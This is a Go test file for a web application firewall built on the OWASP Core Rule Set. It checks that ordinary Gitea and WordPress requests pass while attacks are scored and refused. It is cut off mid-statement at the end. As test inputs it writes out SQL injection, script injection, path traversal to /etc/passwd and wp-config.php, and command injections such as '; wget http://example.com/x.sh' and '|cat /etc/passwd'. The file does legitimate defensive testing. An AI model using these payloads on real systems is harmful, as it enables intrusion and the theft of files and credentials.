package coreruleset_test import ( "encoding/json" "fmt" "net/http" "net/http/httptest" "net/netip" "net/url" "os" "path/filepath" "reflect" "slices" "strconv" "strings" "sync" "testing" "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) // defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off // by default. // //nolint:gochecknoglobals // a constant cannot be a list var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140} // loaded holds, for each set of settings the tests have asked for, the // function that loads the Core Rule Set with them once. // //nolint:gochecknoglobals // the tests share it var loaded = struct { sync.Mutex loaders map[string]func() (*coreruleset.CoreRuleSet, error) }{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}} // loaderFor returns the function that loads the Core Rule Set with params // once, making it the first time params are asked for. func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) { loaded.Lock() defer loaded.Unlock() settings := fmt.Sprintf("%+v", params) load, found := loaded.loaders[settings] if !found { load = sync.OnceValues(func() (*coreruleset.CoreRuleSet, error) { return coreruleset.New(params) }) loaded.loaders[settings] = load } return load } // shared returns the Core Rule Set with params, loaded once for every // test that asks for the same settings. func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet { t.Helper() crs, err := loaderFor(params)() if err != nil { t.Fatalf("load the Core Rule Set: %v", err) } return crs } // sharedCoreRuleSet returns the Core Rule Set at paranoia level level, // with the rules in disabled switched off. The set is shared with every // test that asks for the same settings. func sharedCoreRuleSet( t *testing.T, level int, disabled ...int, ) *coreruleset.CoreRuleSet { t.Helper() return shared(t, coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled}) } // TestConcurrentRequestsKeepTheirOwnExclusions inspects a Drupal and a // WordPress request at once, many times over, on one Core Rule Set, as // sww's server does. Each passes only while its own exclusions apply. func TestConcurrentRequestsKeepTheirOwnExclusions(t *testing.T) { t.Parallel() const rounds = 50 crs := atDefaults(t) targets := []string{ "/admin/people?user=docker-compose.yml&status=All&role=All&permission=All", "/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3", } var inspecting sync.WaitGroup for range rounds { for _, target := range targets { inspecting.Go(func() { req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "http://git.example"+target, nil) req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ "Gecko/20100101 Firefox/131.0") req.Header.Set("Accept", "text/html") result, _, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body) if err != nil || !reflect.DeepEqual(result, coreruleset.Result{}) { t.Errorf("GET %s: %+v, %v", target, result, err) } }) } } inspecting.Wait() } // request is a request a test inspects: its method, its target, the path // and the query as a client sends them, and its headers, each written // "Name: value". type request struct { method, target string headers []string } // get is a GET request for target with headers. func get(target string, headers ...string) request { return request{http.MethodGet, target, headers} } // inspect returns what crs finds in r, sent to git.example by a browser, // whose Host, User-Agent and Accept r.headers may replace. func inspect(t *testing.T, crs *coreruleset.CoreRuleSet, r request) coreruleset.Result { t.Helper() result, _ := inspectBody(t, crs, r, "") return result } // inspectBody is inspect for r with body, which is announced with its // Content-Length unless it is "", and returns what crs read of body too. func inspectBody( t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string, ) (coreruleset.Result, string) { t.Helper() req := httptest.NewRequestWithContext(t.Context(), r.method, "http://git.example"+r.target, strings.NewReader(body)) req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ "Gecko/20100101 Firefox/131.0") req.Header.Set("Accept", "text/html") if body != "" { req.Header.Set("Content-Length", strconv.Itoa(len(body))) } for _, header := range r.headers { // Go's server keeps Host and Transfer-Encoding out of the headers. name, value, _ := strings.Cut(header, ": ") switch name { case "Host": req.Host = value case "Transfer-Encoding": req.TransferEncoding = []string{value} default: req.Header.Set(name, value) } } result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body) if err != nil { t.Fatalf("read the body: %v", err) } return result, string(read) } // wantResult checks what crs finds in r. func wantResult( t *testing.T, crs *coreruleset.CoreRuleSet, r request, want coreruleset.Result, ) { t.Helper() if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) { t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want) } } // matched is the result of a request that the rules ids match, each of // them a critical one, which adds 5 to the score. func matched(ids ...int) coreruleset.Result { const critical = 5 return coreruleset.Result{RuleIDs: ids, Score: critical * len(ids)} } // atDefaults returns the Core Rule Set as sww runs it by default. func atDefaults(t *testing.T) *coreruleset.CoreRuleSet { t.Helper() return sharedCoreRuleSet(t, 1, defaultDisabledRules...) } // wantChange checks that crs lets through passes, a request one of the // thirteen changes is for, and still finds result in refused, a request like // it that the change is not for. func wantChange( t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request, result coreruleset.Result, ) { t.Helper() wantResult(t, crs, passes, coreruleset.Result{}) wantResult(t, crs, refused, result) } func TestPutPatchAndDeleteAreAllowed(t *testing.T) { t.Parallel() crs := atDefaults(t) for _, r := range []request{ {http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil}, {http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil}, {http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil}, } { wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100)) } wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100)) } func TestExpectAndContentEncodingAreAllowed(t *testing.T) { t.Parallel() const ( pushType = "Content-Type: application/x-git-receive-pack-request" fetchType = "Content-Type: application/x-git-upload-pack-request" length = "Content-Length: 1024" push = "/owner/repo.git/git-receive-pack" fetch = "/owner/repo.git/git-upload-pack" ) crs := atDefaults(t) wantResult(t, crs, request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}}, coreruleset.Result{}) wantResult(t, crs, request{http.MethodPost, fetch, []string{ fetchType, length, "Content-Encoding: gzip", }}, coreruleset.Result{}) // Every other header on the Core Rule Set's list stays refused. for _, header := range []string{ "Proxy: http://proxy.example", "Lock-Token: token", "Content-Range: bytes 0-1023/1024", "If: token", "X-HTTP-Method-Override: DELETE", "X-HTTP-Method: DELETE", "X-Method-Override: DELETE", "X-Middleware-Subrequest: middleware", } { wantResult(t, crs, request{http.MethodPost, push, []string{pushType, length, header}}, matched(920450)) } } func TestTransferEncodingIsRead(t *testing.T) { t.Parallel() // git sends a large push in chunks, with no Content-Length. Without // Transfer-Encoding, that would be a POST without a length (920180). wantResult(t, atDefaults(t), request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{ "Content-Type: application/x-git-receive-pack-request", "Transfer-Encoding: chunked", }}, coreruleset.Result{}) } func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) { t.Parallel() const attack = "id=1'%20OR%20'1'='1" crs := atDefaults(t) // Coraza keeps 1000: an attack that is the 1000th is read, and one // after it is not, but the request is a match all the same. wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100)) wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300)) // So it is with the fields of a form data or JSON body. crs = readingBodies(t) for _, tc := range []struct{ header, body string }{ {formData, strings.Repeat("a=1&", 999) + attack}, {jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`}, } { wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body) } for _, tc := range []struct{ header, body string }{ {formData, strings.Repeat("a=1&", 1000) + attack}, {jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`}, } { wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body) } } func TestRedirectURIMayNameALocalAddress(t *testing.T) { t.Parallel() const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&" crs := atDefaults(t) wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"), get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110)) wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"), get(oauth+"next=http://localhost:52341/"), matched(934110)) } func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) { t.Parallel() crs := atDefaults(t) for _, value := range []struct { name string // result is what a parameter that is not one of gitea's gets. result coreruleset.Result }{ // A file on the list of system files. {".gitignore", matched(930120)}, // A command's name, after a directory on the list of shell paths. {"bin/docker-entrypoint", matched(932260, 932160)}, } { for _, parameter := range []string{ "path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow", "artifactName", "redirect_to", } { wantChange(t, crs, get("/?"+parameter+"="+value.name), get("/?q="+value.name), value.result) } } // What only those rules refuse gets through there too, but path // traversal and SQL injection are still refused. wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"), matched(930120, 932160)) wantResult(t, crs, get("/?path=../../etc/passwd"), coreruleset.Result{RuleIDs: []int{930100, 930110}, Score: 20}) wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100)) } func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) { t.Parallel() crs := atDefaults(t) wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120)) wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"), get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110)) } func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) { t.Parallel() const ( flash = "success%3DFile%2Bpackage.json%2Bdeleted" redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json" ) crs := atDefaults(t) wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash), get("/owner/repo", "Cookie: flash="+flash), matched(930120)) wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo), get("/", "Cookie: redirect="+redirectTo), matched(930120)) // Among other cookies, which are read. wantChange(t, crs, get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+ "; i_like_gitea=abc"), get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+ "; i_like_gitea=abc"), matched(930120)) } func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) { t.Parallel() const ( search = "https://git.example/explore/repos?q=env" runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" + "java.base/share/classes/java/lang/Runtime.java" stringMD = "https://git.example/owner/repo/src/branch/main/java.lang.String.md" ) crs := atDefaults(t) wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search), matched(932340)) wantChange(t, crs, get("/", "Referer: "+runtimeJava), get("/", "X-Page: "+runtimeJava), matched(944110)) wantChange(t, crs, get("/", "Referer: "+stringMD), get("/", "X-Page: "+stringMD), matched(944130)) // It is still checked for script and SQL injection. wantResult(t, crs, get("/", "Referer: https://git.example/?q="), matched(941110, 941160)) wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"), matched(942100)) } func TestEmptyHeaderIsRead(t *testing.T) { t.Parallel() // An empty User-Agent is a notice, which adds 2. wantResult(t, atDefaults(t), get("/", "User-Agent: "), coreruleset.Result{RuleIDs: []int{920330}, Score: 2}) } func TestParanoiaLevel(t *testing.T) { t.Parallel() // Accept-Charset is refused from paranoia level 2. r := get("/", "Accept-Charset: utf-8") wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{}) wantResult(t, sharedCoreRuleSet(t, 2), r, matched(920451)) } func TestEachDisabledRuleIsSwitchedOff(t *testing.T) { t.Parallel() // A method not allowed, and a Host that is an IP address, a warning, // which adds 3. r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}} wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8}) wantResult(t, sharedCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{}) } func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) { t.Parallel() crs := atDefaults(t) reuse := "?mount=sha256:0000&from=owner/python3-app" wantChange(t, crs, get("/v2/owner/app/blobs/uploads/"+reuse), get("/upload/"+reuse), matched(932260)) // A command after the image's name is still refused. wantResult(t, crs, get("/v2/owner/app/blobs/uploads/?from=owner/app;cat%20/etc/passwd"), matched(930120, 932160)) } // withExclusions returns the Core Rule Set at the defaults, with the // exclusions file at path. func withExclusions(path string) (*coreruleset.CoreRuleSet, error) { return coreruleset.New(coreruleset.Params{ ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path, }) } // exclusionsFile writes text to a file of exclusions and returns its path. func exclusionsFile(t *testing.T, text string) string { t.Helper() path := filepath.Join(t.TempDir(), "exclusions.conf") err := os.WriteFile(path, []byte(text), 0o600) if err != nil { t.Fatal(err) } return path } // backupFileExclusion is an exclusions file that switches 920500, a rule // of phase 1, off for the path of a backup file under /files/. const backupFileExclusion = `SecRule REQUEST_FILENAME "@beginsWith /files/" ` + `"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"` + "\n" func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) { t.Parallel() crs, err := withExclusions(exclusionsFile(t, backupFileExclusion)) if err != nil { t.Fatalf("load the exclusions: %v", err) } wantChange(t, crs, get("/files/notes.txt~"), get("/notes.txt~"), matched(920500)) } func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) { t.Parallel() crs, err := coreruleset.New(coreruleset.Params{ ParanoiaLevel: 1, DisabledRules: []int{920500}, ExclusionsFile: exclusionsFile(t, backupFileExclusion), }) if err != nil { t.Fatalf("load the exclusions: %v", err) } wantResult(t, crs, get("/notes.txt~"), coreruleset.Result{}) } func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) { t.Parallel() _, err := withExclusions(exclusionsFile(t, "# 942100: GET /issues/900123\n"+backupFileExclusion)) if err != nil { t.Errorf("the exclusions did not load: %v", err) } } func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) { t.Parallel() missing := filepath.Join(t.TempDir(), "missing.conf") _, err := withExclusions(missing) if err == nil { t.Errorf("%s loaded", missing) } for _, tc := range []struct{ text, want string }{ {"SecNoSuchDirective On\n", "unknown directive"}, // sww's own rules may not be switched off or changed, by // id or in a range, on one line or split over several. {"SecRuleRemoveById 899999-901000\n", "names 899999-901000"}, { "SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-901000\"\n", "names 899999-901000", }, { "SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-+901000\"\n", "names 899999-+901000", }, { "SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=900500;ARGS:from\"\n", "names 900500", }, {"SecRuleRemoveById 899000-\\\n 901000\n", "names 899000-901000"}, { "SecAction \"id:1,phase:1,pass,nolog,\\\n" + " ctl:ruleRemoveById=9005\\\n 00\"\n", "names 900500", }, // The Core Rule Set's rules load after the file. {"SecRuleRemoveById 942100\n", "SecRuleRemoveById in the exclusions file"}, { "SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n", "SecRuleUpdateTargetById in the exclusions file", }, } { _, err := withExclusions(exclusionsFile(t, tc.text)) if err == nil || !strings.Contains(err.Error(), tc.want) { t.Errorf("%q gave the error %v, want one with %q", tc.text, err, tc.want) } } } // giteaRequests returns the recorded ordinary gitea requests in testdata. // Each has the Referer of a page that names the same, as a page opened // from it has. func giteaRequests(t *testing.T) []request { t.Helper() text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt")) if err != nil { t.Fatal(err) } var requests []request for line := range strings.Lines(string(text)) { line = strings.TrimSpace(line) if line == "" || strings.HasPrefix(line, "#") { continue } target, header, _ := strings.Cut(line, " ") headers := []string{"Referer: http://git.example" + target} if header != "" { headers = append(headers, header) } requests = append(requests, get(target, headers...)) } return requests } // An SQL injection, a script injection and a shell command after a ";", as // query values. Every app's tests check that its fields still refuse the // first two. const ( sqlInjection = "1'%20OR%20'1'='1" scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E" commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" ) // passwordField is the form data field password, ending in "=", in which // several apps take a password. const passwordField = "password=" // hardValues are words that name commands and files, as a query or form // value. An app's tests check that its fields let them through. // //nolint:gochecknoglobals // a constant cannot be a list var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"} // wantRecordedRequestsPass checks that none of the recorded ordinary // requests in the file name in testdata is refused, at the defaults and // while bodies are read. Each request runs as its own parallel subtest. func wantRecordedRequestsPass(t *testing.T, name string) { t.Helper() const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default defaults, bodies := atDefaults(t), readingBodies(t) for _, recorded := range recordedRequests(t, name) { t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { t.Parallel() r := request{recorded.Method, recorded.Target, recorded.Headers} got, _ := inspectBody(t, defaults, r, recorded.Body) if got.Score >= threshold { t.Errorf("%s %s refused: %+v", r.method, r.target, got) } got, _ = inspectBody(t, bodies, r, recorded.Body) if got.Score >= threshold { t.Errorf("%s %s %.200q refused while bodies are read: %+v", r.method, r.target, recorded.Body, got) } }) } } func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) { t.Parallel() const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default crs := atDefaults(t) for _, r := range giteaRequests(t) { if got := inspect(t, crs, r); got.Score >= threshold { t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got) } } // In q too, off gitea's search pages. for _, parameter := range []string{"id", "q"} { for _, attack := range []string{ sqlInjection, "..%2Fcustom%2Fconf%2Fapp.ini", scriptInjection, } { target := "/owner/repo?" + parameter + "=" + attack if got := inspect(t, crs, get(target)); got.Score < threshold { t.Errorf("%s let through: %+v", target, got) } } } // gitea has no owner named api, so these are not a repository's search, // issues or pull requests. /api/v2/search is Mastodon's search. for _, path := range []string{ "/api/v2/search", "/api/v2/issues", "/api/v2/pulls", } { for _, attack := range []string{ sqlInjection, scriptInjection, "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh", } { target := path + "?q=" + attack if got := inspect(t, crs, get(target)); got.Score < threshold { t.Errorf("%s let through: %+v", target, got) } } // Nor is a page opened from them. for _, attack := range []string{scriptTag, injection} { referer := "Referer: https://example.com" + path + "?q=" + attack if got := inspect(t, crs, get("/", referer)); got.Score < threshold { t.Errorf("%s let through: %+v", referer, got) } } } } // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the // REST API routes of a post and of the tags. const ( wpLogin = "/wp-login.php" wpComment = "/wp-comments-post.php" wpAjax = "/wp-admin/admin-ajax.php" wpPost = "/wp-json/wp/v2/posts/1" wpTags = "/wp-json/wp/v2/tags" ) // recordedRequest is a line of a file of recorded requests in testdata. type recordedRequest struct { Method string `json:"method"` Target string `json:"target"` Headers []string `json:"headers"` Body string `json:"body"` } // recordedRequests returns the recorded ordinary requests in the file name // in testdata, each with its body. func recordedRequests(t *testing.T, name string) []recordedRequest { t.Helper() path := filepath.Join("testdata", name) text, err := os.ReadFile(path) //nolint:gosec // a file in testdata if err != nil { t.Fatal(err) } var requests []recordedRequest for line := range strings.Lines(string(text)) { if strings.HasPrefix(line, "#") { continue } var r recordedRequest err := json.Unmarshal([]byte(line), &r) if err != nil { t.Fatalf("%q: %v", line, err) } requests = append(requests, r) } return requests } // readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default, // but reading bodies up to the largest SWW_WAF_BODY_LIMIT. func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet { t.Helper() return shared(t, coreruleset.Params{ ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1, }) } // wordpressAttackTargets returns attack in a query parameter no exclusion // names, and in each field whose searches and names skip some rules there. func wordpressAttackTargets(attack string) []string { return []string{ "/?id=" + attack, wpLogin + "?id=" + attack, "/wp-admin/admin-ajax.php?id=" + attack, "/wp-json/wp/v2/posts?id=" + attack, "/?s=" + attack, "/index.php?s=" + attack, "/page/2/?s=" + attack, "/index.php/page/2/?s=" + attack, "/wp-admin/edit.php?s=" + attack, "/wp-admin/upload.php?s=" + attack, "/wp-admin/plugin-install.php?s=" + attack, "/wp-admin/edit-comments.php?s=" + attack, "/wp-admin/users.php?s=" + attack, "/wp-admin/plugins.php?s=" + attack, "/wp-admin/edit-tags.php?s=" + attack, "/wp-json/wp/v2/search?search=" + attack, "/wp-json/wp/v2/posts?search=" + attack, "/wp-json/wp/v2/tags?search=" + attack, "/?rest_route=/wp/v2/search&search=" + attack, "/wp-json/wp/v2/posts?slug=" + attack, "/wp-json/wp/v2/tags?slug=" + attack, "/?rest_route=/wp/v2/posts&slug=" + attack, "/wp-json/wp/v2/block-directory/search?term=" + attack, "/wp-admin/themes.php?search=" + attack, "/wp-admin/theme-install.php?search=" + attack, "/wp-admin/upload.php?search=" + attack, "/wp-admin/admin-ajax.php?q=" + attack, "/wp-admin/admin-ajax.php?term=" + attack, "/wp-admin/edit.php?_wp_http_referer=" + attack, "/wp-admin/upload.php?_wp_http_referer=" + attack, "/?tag=" + attack, "/index.php?tag=" + attack, "/wp-admin/edit.php?tag=" + attack, "/wp-admin/edit.php?category_name=" + attack, "/wp-admin/plugin-editor.php?file=" + attack, "/wp-admin/theme-editor.php?file=" + attack, "/wp-admin/plugin-editor.php?plugin=" + attack, "/wp-admin/plugins.php?plugin=" + attack, "/wp-admin/update.php?plugin=" + attack, "/wp-admin/admin.php?page=" + attack, "/wp-admin/options-general.php?page=" + attack, "/wp-admin/tools.php?page=" + attack, "/wp-admin/site-editor.php?p=" + attack, "/wp-admin/site-editor.php?postId=" + attack, "/wp-admin/admin-ajax.php?slug=" + attack, "/wp-json/wp-block-editor/v1/url-details?url=" + attack, "/wp-json/oembed/1.0/proxy?url=" + attack, "/?rest_route=/oembed/1.0/proxy&url=" + attack, } } func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) { t.Parallel() const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t) for _, recorded := range recordedRequests(t, "wordpress-requests.txt") { t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { t.Parallel() r := request{recorded.Method, recorded.Target, recorded.Headers} crsSets := []*coreruleset.CoreRuleSet{defaults} if recorded.Body != "" { crsSets = append(crsSets, bodies) } for _, crs := range crsSets { got, _ := inspectBody(t, crs, r, recorded.Body) if got.Score >= threshold { t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got) } } }) } for _, attack := range []string{ sqlInjection, "..%2F..%2Fwp-config.php", scriptInjection, } { for _, target := range wordpressAttackTargets(attack) { if got := inspect(t, defaults, get(target)); got.Score < threshold { t.Errorf("%s let through: %+v", target, got) } } // In a body field no exclusion names, on the paths with exclusions. body := "id=" + attack for _, target := range []string{ wpLogin, wpComment, wpAjax, "/wp-admin/post.php", "/wp-admin/options.php", } { got, _ := inspectBody(t, bodies, request{http.MethodPost, target, []string{formData}}, body) if got.Score < threshold { t.Errorf("POST %s %q let through: %+v", target, body, got) } } // In the body fields that skip some rules. posts := append(wordpressBodyFields(attack), wordpressBodyField{wpComment, formData, "url=" + attack}) for _, p := range posts { got, _ := inspectBody(t, bodies, request{http.MethodPost, p.target, []string{p.contentType}}, p.body) if got.Score < threshold { t.Errorf("POST %s %q let through: %+v", p.target, p.body, got) } } } } // wordpressBodyField is a POST to target that sends body, a field whose // name skips some rules there, with the Content-Type header contentType. type wordpressBodyField struct{ target, contentType, body string } // wordpressBodyFields returns encoded, a URL-encoded value, in a plugin to // install and in each JSON field of a REST API save that skips some rules. func wordpressBodyFields(encoded string) []wordpressBodyField { value, _ := url.QueryUnescape(encoded) return []wordpressBodyField{ {wpAjax, formData, "action=install-plugin&slug=" + encoded}, {wpPost, jsonBody, fmt.Sprintf(`{"title":%q}`, value)}, {wpPost, jsonBody, fmt.Sprintf(`{"excerpt":%q}`, value)}, {wpPost, jsonBody, fmt.Sprintf(`{"slug":%q}`, value)}, {wpTags, jsonBody, fmt.Sprintf(`{"name":%q}`, value)}, } } // wordpressWords returns words that ordinary WordPress names and searches // hold, each with the rule it misfired on. func wordpressWords() []struct { value string rule int } { return []struct { value string rule int }{ {".htaccess", 930120}, {"powershell", 932120}, {"ls -la", 932250}, {"python3", 932260}, } } // wordpressBlock is the comment that starts every block of WordPress's // HTML, which rule 941180 matches. const wordpressBlock = "" // wordpressOverride is the header with which the block editor saves. const wordpressOverride = "X-HTTP-Method-Override: PUT" // wordpressRESTAddresses returns the four addresses of route on the REST // API. func wordpressRESTAddresses(route string) []string { return []string{ "/wp-json" + route, "/index.php/wp-json" + route, "/index.php?rest_route=" + route, "/?rest_route=" + route, } } func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) { t.Parallel() crs := readingBodiesUpTo64K(t) content := `{"content":"` + wordpressBlock + `"}` for _, route := range []string{ "/wp/v2/posts/1", "/wp/v2/posts/1/autosaves", "/wp/v2/pages/2", "/wp/v2/templates/twentytwentyfive//index", "/wp/v2/template-parts/twentytwentyfive//header", } { for _, address := range wordpressRESTAddresses(route) { r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}} wantBody(t, crs, r, content, coreruleset.Result{}, content) } } // The routes that save something else keep the rules. for _, route := range []string{ "/wp/v2/comments", "/wp/v2/users/1", "/wp/v2/settings", } { for _, address := range wordpressRESTAddresses(route) { r := request{http.MethodPost, address, []string{jsonBody}} wantBody(t, crs, r, content, matched(941180), content) } } // WordPress follows a route in the query over one in the path. r := request{ http.MethodPost, "/wp-json/wp/v2/posts/1?rest_route=/wp/v2/comments", []string{jsonBody}, } wantBody(t, crs, r, content, matched(941180), content) } func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) { t.Parallel() crs := atDefaults(t) wantChange(t, crs, get("/?s=python3"), get("/wp-admin/options.php?id=python3"), matched(932260)) wantChange(t, crs, get("/?s=python3"), get("/?q=python3"), matched(932260)) wantChange(t, crs, get("/index.php?s=ls+-la"), get("/index.php?q=ls+-la"), matched(932250)) wantChange(t, crs, get("/wp-json/wp/v2/search?search=powershell"), get("/wp-json/example/v1/things?search=powershell"), matched(932120)) wantChange(t, crs, get("/index.php?rest_route=/wp/v2/search&search=powershell"), get("/index.php?rest_route=/example/v1/things&search=powershell"), matched(932120)) wantChange(t, crs, get("/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php"), get("/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php"), matched(930120)) wantChange(t, crs, get("/wp-admin/theme-editor.php?file=docker-compose.yml"), get("/wp-admin/theme-editor.php?id=docker-compose.yml"), matched(932260)) } // TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three // groups in wordpress.conf at one target of its group, against the same // values in a field no group names, then one field at each other target of // the group, then the names in the first group that skip fewer rules. func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) { t.Parallel() // A page's address, repeating the search it came from. Rules 932235 // and 932260 match it, and only the fields that hold an address skip // 932235. const pageAddress = "%2Fwp-admin%2Fedit.php%3Fs%3Dpython3" crs := atDefaults(t) for _, group := range []struct { target string fields []string addressFields []string }{ { "/wp-admin/options.php?", []string{ "s", "search", "q", "term", "tag", "category_name", "plugin", "checked%5B%5D", "theme", "stylesheet", "page", }, []string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"}, }, {"/wp-json/wp/v2/tags?", []string{"search", "term", "slug", "url"}, nil}, {"/?", []string{"s", "tag"}, nil}, } { wantResult(t, crs, get(group.target+"id="+pageAddress), matched(932235, 932260)) for _, field := range group.fields { wantResult(t, crs, get(group.target+field+"="+pageAddress), matched(932235)) } for _, field := range group.addressFields { wantResult(t, crs, get(group.target+field+"="+pageAddress), coreruleset.Result{}) } for _, v := range wordpressWords() { value := url.QueryEscape(v.value) wantResult(t, crs, get(group.target+"id="+value), matched(v.rule)) for _, field := range slices.Concat(group.fields, group.addressFields) { wantResult(t, crs, get(group.target+field+"="+value), coreruleset.Result{}) } } } for _, target := range []string{ "/wp-admin/term.php?s=python3", wpLogin + "?s=python3", "/index.php/wp-json/wp/v2/tags?slug=python3", "/index.php?rest_route=/wp/v2/tags&slug=python3", "/?rest_route=/wp/v2/tags&slug=python3", "/wp-json/oembed/1.0/embed?url=python3", "/?rest_route=/oembed/1.0/embed&url=python3", "/index.php?tag=python3", "/page/2/?tag=python3", "/index.php/page/2/?s=python3", } { wantResult(t, crs, get(target), coreruleset.Result{}) } // The names WordPress writes as slugs skip only 932120 and 932260. for _, field := range []string{"p", "postId", "slug"} { for _, v := range wordpressWords() { want := coreruleset.Result{} if v.rule == 930120 || v.rule == 932250 { want = matched(v.rule) } target := "/wp-admin/options.php?" + field + "=" + url.QueryEscape(v.value) wantResult(t, crs, get(target), want) } } } func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T) { t.Parallel() const command = "%3B+wget+http%3A%2F%2Fexample.com%2Fx.sh" crs := atDefaults(t) for _, target := range []string{ "/?s=", "/page/2/?s=", "/wp-admin/edit.php?s=", "/wp-json/wp/v2/search?search=", "/wp-admin/themes.php?search=", "/wp-json/wp/v2/posts?slug=", "/?rest_route=/wp/v2/posts&slug=", "/wp-json/wp/v2/tags?url=", "/wp-json/oembed/1.0/embed?url=", "/?tag=", "/wp-admin/edit.php?tag=", "/wp-admin/admin-ajax.php?q=", "/wp-admin/admin.php?page=", "/wp-admin/options-general.php?page=", "/wp-admin/tools.php?page=", "/wp-admin/site-editor.php?p=", "/wp-admin/site-editor.php?postId=", "/wp-admin/admin-ajax.php?slug=", } { wantResult(t, crs, get(target+command), 